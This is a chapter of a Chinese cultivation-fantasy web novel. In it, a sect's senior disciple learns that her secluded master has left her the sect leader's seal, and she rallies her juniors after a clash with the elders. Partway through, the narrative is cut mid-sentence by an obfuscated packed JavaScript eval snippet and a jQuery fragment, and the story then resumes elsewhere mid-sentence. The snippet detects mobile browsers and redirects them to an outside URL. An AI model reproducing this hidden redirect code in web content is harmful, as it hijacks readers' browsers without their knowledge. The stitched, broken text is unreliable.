已是下半夜。


    与往日不同,光是三人御剑而行的这段时间,就看见地上多了不少飘羽阁的弟子。


    他们全部是被那巨响还有神雷的嗡鸣吸引而来的,因无法参与到斗争的中心,只能在外面张望。


    此时守心三人从上空飞过,他们纷纷抬头,行注目之礼。


    对于他们而言,长老们与宋绯莲都是属于“另一个世界”的人,或许宋绯莲这样的修为,他们当中的绝大多数这一辈子都无法企及。


    因此,无法插手,只能仰望。


    平心而论,飘羽阁在修真界绝对算不上一个小门派,自先祖时期与其他几门同斩大魔、维护天下太平之时,飘羽阁在修真界内就已经有一席之地。


    经后辈几代掌门的发展,飘羽阁越发兴盛壮大,盛极一时时,曾与长山派并称为“天下二门”。


    只不过万事万物总有盛衰,因天下二门的存在,飘羽阁与长山派积怨已久,鹬蚌相争,两败俱伤。


    虽说瘦死的骆驼比马大,可自那之后,飘羽阁就不复当年的辉煌。


    父辈那一代好不容易出了个守心,最后却发生了什么事,让一代天才就此埋没——宋绯莲不是没有询问过,但任何知情人对于那段历史都缄口不言。


    宋绯莲觉得,那事大抵是与师父变成现在的少女模样有关。


    但师父从来没有正面回应过她。


    等到他们这一代更是庸才辈出,没什么拿得出手的弟子,相较而言,守心一支已经算是矮子里面拔将军,还算是“不错”的了。


    好不容易听说人间出了个天资聪颖的少年,正欲拉拢至飘羽阁,可这位长老们期待已久的天才纪星辰,最后却投入了飘羽阁的对头长山派的怀抱。


    就这样,飘羽阁的颓势一直持续到三年前。


    直到宋绯莲在天下第一武道会上舞出那惊艳众人的一剑,飘羽阁的命运才得以改变。


    御刀而行的双双飞在宋绯莲身后,她看着宋绯莲身上被剑气割开的伤口,有一道现在还往外渗着血。


    双双加快了些速度飞到宋绯莲的身边:“师姐……”


    “放心,无碍。”宋绯莲熟悉双双的性格,知道她要说什么。


    长老们到底还是长老们,论修为,仍旧强于宋绯莲。


    刚才那几番来回后,宋绯莲的头发都弄得有些散乱,身上的衣服也被割破到不能再穿,若不是战意如此强盛,甚至与摇光剑产生共鸣,或许现在宋绯莲的模样,可能更加狼狈。


    但她现下所挂念的,并不是这些外在的琐事。


    自双双说出小师妹三字后,宋绯莲便感觉到体内的战意好像一点点地流失了。


    她的神思好像一瞬间清明了许多,那股焦躁狂气、想要将三位长老都杀了祭剑的状态,还有体内暴动的真元都渐渐消散。


    与此同时,天空中的异动也缓慢消失。


    为什么……会这样?


    “回去之后立刻布阵,不允许任何旁支的飘羽阁弟子入内。”宋绯莲快速说道,她现在没有心思思考其他事,“今日之事,我能够震住三位长老一时,却不能震住他们一世。虽说今后我一直都会陪伴在你们身边,但凡事都有意外。”


    “是,师姐。”双双应道。


    只是出来跑了个腿的张智终于耐不住了。


    这一路上他都云里雾里的,先是听他们说宋绯莲招来了九天神雷,后面又瞅见自家师姐跟自家师叔在大殿里疯狂互殴,到现在也没搞清楚是个什么状况:“不是,大师姐,今儿到底是啥情况啊?怎、怎么跟师叔们打起来了呢?这要是师父出关了,可不得骂咱们咋的。”


    宋绯莲抓住腰间那枚萦火佩,温暖的感觉瞬间传遍全身。


    她半晌之后才说道:“师父不会怪罪我们的。”


    双双眼尖,见她拿起这萦火佩,想必与之有关:“师姐,可是这萦火佩出了问题?”


    “师父给我的这枚萦火佩,乃是掌门印。”宋绯莲轻描淡写,关于这件事,她不想隐瞒师弟师妹们,“师叔们借此次二师弟和小师妹私自下山一事,逼我把掌门印交给他们保管。”


    “掌、掌门印……?!!”


    张智瞪大了眼睛,简直要惊呼出声,就连双双也受惊不小:“师姐,师父将掌门印交给了你?”


    宋绯莲点点头,闭目分出一缕神识探入萦火佩中。


    只消一瞬,在宋绯莲面前便现出一片没有尽头的汪洋大海。


    她孤身一人处于悬崖峭壁之上,再向前踏一步,便要坠入到下面墨色的巨浪里。


    在她正前方的上空中,一枚淡紫色的萦火佩悬浮着。


    宋绯莲朝它伸出手,起初掌门印拒不靠近,非得宋绯莲强行隔空握住,硬生生地将它拉到了面前!


    抓住它的那一瞬间,体内便犹如掀起惊涛骇浪!


    也是这个刹那,宋绯莲的神识被弹出了掌门印。


    “…是真的。”她抓紧玉佩,心中涌起一股酸涩,“这是真的掌门印。”


    虽说他们的师父经常想一出是一出,但是将掌门印交给了大师姐,这个举动背后的含义傻子也能想明白。


    双双又急忙问道:“师姐,你可知道师父现在的修为臻至何种境界?”


    宋绯莲不是傻子,双双这么一问,倒是叫她想起先前忽略掉的一个问题。


    师父为什么会将掌门印留给她?


    又是什么情况下,掌门会在还活着的时候将掌门印留给门下弟子?


    要么,师父觉得自己年事已高,弟子们尽已大成,能够放心地将整个门派交付。


    要么,师父知道自己大限将至,或者即将要面临什么有去无回的危险,很有可能这一眼就是永别……!


    “亚圣守心,三年之前,一步大乘……”直到这时,宋绯莲才反应过来这师父究竟不靠谱到何种程度,也刹那间明白了师父的用意。


    她的心中好似一下子空了一块,喃喃道:“这三年中进益如何暂且不论,但是这一次闭关,如若成功,便是飞升……”


    师父走时什么多余的话也没说,只是将这枚萦火佩交给她保管。


    她…她还以为只是与往常相同的一次普通的闭关。


    她还在等师父笑眯眯地从秘境中走出,笑着对他们说自己的修为又进一步,以后他们下山出去历练,也不用怕惹是生非。


    原来有的人,在还没有意识到的时候,就有可能是永别。


    心口霎时一阵剧痛,宋绯莲忙抬手捂住胸口,企图阻止这股疼痛继续蔓延。


    双双见状忙道:“师姐暂且先别担心,或许我的推测有误,不知你是否记得师父闭关前曾说她为飘羽阁鸡毛蒜皮的小事所累,只是想要闭关图一阵清净。”


    “师父一事暂且不要担心,眼下我们守心一支既


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495028|202443||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已与其他弟子割席,便该想想今后的路应当怎样走才好。掌门印已在师姐手中,那于情于理,守心一支都是飘羽阁的正统,就算长老们想要夺走,传出去也要遭受千夫所指。”


    双双的话说得很明白。


    这股心悸过了一会儿才消失,宋绯莲深吸一口气,淡淡道:“天下第一武道会。”


    “在武道会中夺魁的门派,接下来的三年在修真界内将有绝对的话语权。为防止长老们再次发难也好,让师父放心也罢,今年的武道大会我们必须再次夺下首席之位。好在还有几个月的时间,这段时间内除了养好小师妹的伤,我们每个人都要加紧修习,不可懈怠。”


    师父总不可能庇佑他们一辈子。


    他们这一代的路,终究还是要他们自己去走。


    “长山派今年必然卷土重来,我不敢保证这一次仍能战胜纪星辰,因而每一份夺魁的希望,都要紧紧把握。”


    从今日起,她就得照顾好守心一支的四个师弟师妹了。


    曾经师父总叫她处理好与师弟师妹之间的关系,她努力了,可觉得结果并不尽人意;但当真正的困难出现、师弟师妹们或许以后真的都要依赖她时,宋绯莲却感觉到先前那被她忽视了的、微弱的责任感。


    她必须要做。


    双双和张智深以为然:“是,师姐。”


    陆柒月正坐在床旁边的木椅上看书。


    心下不宁,做什么都不能叫这份心慌缓解,陆柒月索性在荆小情的屋中找了本书读。


    直到听见外面院中有些动静,他连忙放书起身,想要去迎那三个人。


    他还没来得及走到门边,宋绯莲就已经推开门,长腿一迈进了屋中。


    她浑身是伤的样子吓了陆柒月一跳,还没来得及问到底是什么情况,紧随其后进屋的张智便朝陆柒月说道:“二师兄,你那自创的金创药快拿给我,我给大师姐上个药。”


    “嗯。”陆柒月又看了宋绯莲一眼,见这人进屋之后径直就走向床上的荆小情,也未多言。


    他的手在长袖中摸索了一会儿没有摸到,又去摸他的腰带,摸出个绿色的小瓶递给张智。


    张智接过后转身去找荆小情屋中的绑带,陆柒月看向最后一个进门的双双,用眼神询问她到底发生了什么事。


    “师父闭关前将掌门印留给了大师姐,三位师叔以你们下山为借口,逼大师姐交出掌门印。”双双瞅了瞅床上的荆小情,见还睡着,小声同他讲道。


    “柒月,小师妹头上的针。”


    “哦,这个啊,”陆柒月没来得及骂那三个老东西,即将出口的脏话又憋了回去,噎得他直翻白眼,“小师妹醒了以后就一直想去帮你呢,就她这样还想去帮忙?不拖后腿就不错了,所以我就给她施了根针,叫她好好睡着……”


    陆柒月话音未落,宋绯莲便抬手将这枚银针取了下来。


    陆柒月对于自家大师姐的干净利落是真佩服:“哎哟我的姑奶奶,你是真敢拔,万一这是止血针怎么办?”


    “嘘,小点声。”


    宋绯莲看着床上的荆小情,确定她没有被陆柒月的大呼小叫吵醒,压低声音对陆柒月说道:“你刚才不是也说了这是让小师妹睡着的针么。”


    “……”陆柒月被她堵得哑口无言,抬手让张智过来给宋绯莲上药。


    “你们这帮人,可真是够野的。”他自言自语。